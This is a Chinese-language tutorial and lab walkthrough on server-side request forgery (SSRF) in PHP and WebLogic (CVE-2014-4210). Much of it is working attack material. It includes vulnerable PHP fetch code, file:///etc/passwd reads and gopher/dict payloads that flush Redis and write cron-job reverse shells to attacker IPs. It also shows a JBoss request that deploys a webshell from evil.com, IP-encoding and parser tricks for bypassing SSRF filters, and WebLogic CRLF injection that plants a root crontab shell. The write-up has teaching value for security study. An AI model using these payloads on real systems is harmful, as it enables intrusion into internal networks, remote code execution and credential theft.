SSRF(Server-Side Request Forgery:服务器端请求伪造),是一种由攻击者构造请求,由服务端发起请求的安全漏洞。
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器----->目标地址
根据后台使用函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。
你可以根据“SSRF”里面的项目来搞懂问题的原因
很多Web应用都提供了从其他的服务器上获取数据的功能,根据用户指定的URL,Web应用便可以获取图片,下载文件,读取文件内容等。SSRF的实质是利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。一般情况下,SSRF攻击的目标是外网无法访问的内部系统,黑客可以利用SSRF漏洞获取内部系统的一些信息(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
攻击者想要访问主机B上的服务,但是由于存在防火墙或者主机B是属于内网主机等原因导致攻击者无法直接访问主机B。而服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,从而获取主机B的一些信息。
file
协议读取本地文件等) file_get_contents()
、fsockopen()
、curl_exec()
、fopen()
、readfile()
等函数使用不当会造成SSRF漏洞
file_get_contents
函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。file_put_contents
函数把一个字符串写入文件中。
比如以下代码在Win10上部署,这段代码使用file_get_contents()
函数从用户指定的URL获取图片并展示给用户。和Win10同一内网的Kali在8000端口服务开启了只供内部人员使用的资料比如ssrf_flag,此时如果攻击者提交如下Payload,就可以获取到内网主机HTTP服务8000端口的开放情况
$url = $_GET['url'];
echo file_get_contents($url);
?>
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init();// 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
curl_exec函数用于执行指定的cURL会话
1. 一般情况下PHP不会开启fopen的gopher wrapper
2. file_get_contents的gopher协议不能URL编码
3. file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4. curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5. curl_exec() //默认不跟踪跳转
6. file_get_contents() // file_get_contents支持php://input协议
在有回显的情况下,利用 file 协议可以读取任意内容
泄露安装软件版本信息,查看端口,操作内网Redis服务等
Gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合Gopher协议的请求。Gopher协议是SSRF利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
探测内网主机存活
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
......
以curl举例,查看 curl 支持的协议列表 curl -V
curl -v 'file:///etc/passwd'
curl -v 'dict://127.0.0.1:6379/info'
curl -v 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
攻击机ip:192.168.201.129、121.36.67.230
攻击机:Kali、公网服务器
远程服务器ip:39.x.x.x
docker镜像:ssrf_redis
PHP版本:PHP Version 7.2.28(5.6版本测试会失败)
关闭了防跨站攻击
ssrf.php
$ch = curl_init(); //创建新的 cURL 资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); //设置URL 和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); //抓取 URL 内容并把它传递给浏览器,存储进文件
curl_close($ch); //关闭 cURL 资源,并且释放系统资源
?>
post.php
<html>
<head>
<title>post</title>
</head>
<body>
<?php
echo $_REQUEST[cmd];
?>
</body>
</html>
任意文件读取
curl -v 'http://ssrf.xxx.com/ssrf.php?url=file:///etc/passwd'
curl -v 'http://ssrf.xxx.com/ssrf.php?url=dict://127.0.0.1:22/'
说明22端口开放
有关dict协议:向服务器的端口请求 命令:参数
,并在末尾自动补上\r\n(CRLF)
。
dict协议要一条一条的执行,而Gopher协议执行一条命令就行了。
利用Redis未授权访问攻击Redis
攻击Redis的exp
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/121.36.67.230/5555 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
bash shell.sh 39.x.x.x 6379
从而捕获到数据,并进行转换,转换规则如下:
如果第一个字符是>或者<那么丢弃该行字符串,表示请求和返回的时间。
如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
将\r字符串替换成%0d%0a
空白行替换为%0a
结合Gopher协议攻击内网Redis,使用上边捕获数据的转换结果即可,然后进行反弹Shell:
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.4:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f5555%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
反弹成功
http://39.x.x.x:8000/ssrf.php是存在SSRF漏洞的Web服务
192.168.1.4是redis应用所在内网ip
121.36.67.230是公网服务器,接收反弹shell
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.5:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%2039.105.93.165%250d%250aUser-Agent:%20curl/7.58.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f4444%200%3E%261'
反弹成功
192.168.1.5是内网Web服务,有post.php
说明内网ip为192.168.1.3的主机存活
http://example.com/ssrf.php?url=http://192.168.0.108:21/
http://example.com/ssrf.php?url=http://192.168.0.108:22/
http://example.com/ssrf.php?url=http://192.168.0.108:80/
http://example.com/ssrf.php?url=http://192.168.0.108:443/
http://example.com/ssrf.php?url=http://192.168.0.108:3306/
可通过应用响应时间、返回的错误信息,返回的服务Banner来判断端口是否开放,如图所示
上面两张图中,左侧为访问22端口并从错误信息中返回Banner,右侧为访问21端口被拒绝(未开放)。当PHP未开启显错模式时,可通过响应时间来判断端口是否开放。本人实验结果是开放端口响应更快。
大多数Web应用都有一些独特的文件和目录,通过这些文件可以识别出应用的类型,甚至详细的版本。基于此特点可利用SSRF漏洞对内网Web应用进行指纹识别,如下Payload可以识别主机是否安装了WordPress
http://example.com/ssrf.php?url=https%3A%2F%2F127.0.0.1%3A443%2Fwp-content%2Fthemes%2Fdefault%2Faudio.jpg
http://example.com/ssrf.php?url=https://127.0.0.1:443/wp-content/themes/default/audio.jpg
得到应用指纹后,便能有针对性地对其存在的漏洞进行利用。如下Payload展示了如何利用SSRF漏洞攻击内网的JBoss应用:
http://example.com/ssrf.php?url=https%3A%2F%2F127.0.0.1%3A8080%2Fjmx-console%2FHtmlAdaptor%3Faction%3DinvokeOp%26name%3Djboss.system%253Aservice%253DMainDeployer%26methodIndex%3D3%26arg0%3Dhttp%253A%252F%252Fevil.com%252Fwebshell.war
http://example.com/ssrf.php?url=https://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system%3Aservice%3DMainDeployer&methodIndex=3&arg0=http%3A%2F%2Fevil.com%2Fwebshell.war
http://example.com/ssrf.php?url=https://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=3&arg0=http://evil.com/webshell.war
PHP环境下如果安装了expect扩展,还可以通过expect协议执行系统命令,如:
http://example.com/ssrf.php?url=expect://id
很多开发者使用正则表达式端方式对SSRF中的请求地址进行过滤,具体表现如下:
然而,这两种过滤都很容易被绕过,可用的方法具体如下:
使用 http://[email protected]
这种格式来绕过正则
在对@解析域名中,不同的处理函数存在处理差异,如:http://[email protected]@www.ccc.com
在PHP的parse_url
中会识别www.ccc.com
,而libcurl
则识别为www.bbb.com
IP地址转为进制(八进制、十进制、十六进制)及IP地址省略写法,举例说明如下
[+] 0177.000.00.01 八进制
[+] 2130706433 十进制
[+] 0x7f.0x0.0x0.0x1 十六进制
[+] 127.1 IP地址省略写法
以上4种写法均可表示127.0.0.1
如果我们手中有可控域名,则可根据那个域名A记录指向欲请求的IP进行绕过操作:
evil.example.com => 10.0.18.3
或者利用DNS解析为指定的域名,evil.example.com可以指向任意域名
evil.example.com => heihei.com
可以利用[::]
来绕过localhost
http://[::]:80/ >>> http://127.0.0.1
http://127.0.0.1:8080
站长工具短网址
百度短网址
127。0。0。1 >>> 127.0.0.1
使用https://tinyurl.com生成302跳转地址
采用http基本身份认证的方式绕过。即@
http://[email protected]
当不允许ip为内网地址时
CVE-2014-4210
下载地址:https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
编译并启动环境
docker-compose build
docker-compose up -d
访问http://your-ip:7001/uddiexplorer/
,无需登录即可查看uddiexplorer应用。
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
http://192.168.0.108:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001`,访问一个可以访问的`IP:PORT`,如`http://127.0.0.1:7001`, 访问的端口将会得到错误,一般是返回`status code`(如下图),如果访问的非http协议,则会返回`did not have a valid SOAP content-type
修改为一个不存在的端口,将会返回could not connect over HTTP to server
通过错误的不同,即可探测内网状态。
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.2:6379可以连通:
发送三条Redis命令,将反弹shell脚本写入/etc/crontab
定时任务:
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/1.15.35.104/4444 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
进行url编码:
set%201%20%22%5cn%5cn%5cn%5cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3e%26%20%2fdev%2ftcp%2fevil%2f21%200%3e%261'%5cn%5cn%5cn%5cn%22%0aconfig%20set%20dir%20%2fetc%2f%0aconfig%20set%20dbfilename%20crontab%0asave
注意,换行符是 \r\n
,也就是 %0D%0A
。
将url编码后的字符串放在ssrf的域名后面,发送:
http://192.168.0.108:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/test/%0d%0a%0d%0aset%201%20%22%5cn%5cn%5cn%5cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3e%26%20%2fdev%2ftcp%2fevil%2f21%200%3e%261'%5cn%5cn%5cn%5cn%22%0aconfig%20set%20dir%20%2fetc%2f%0aconfig%20set%20dbfilename%20crontab%0asave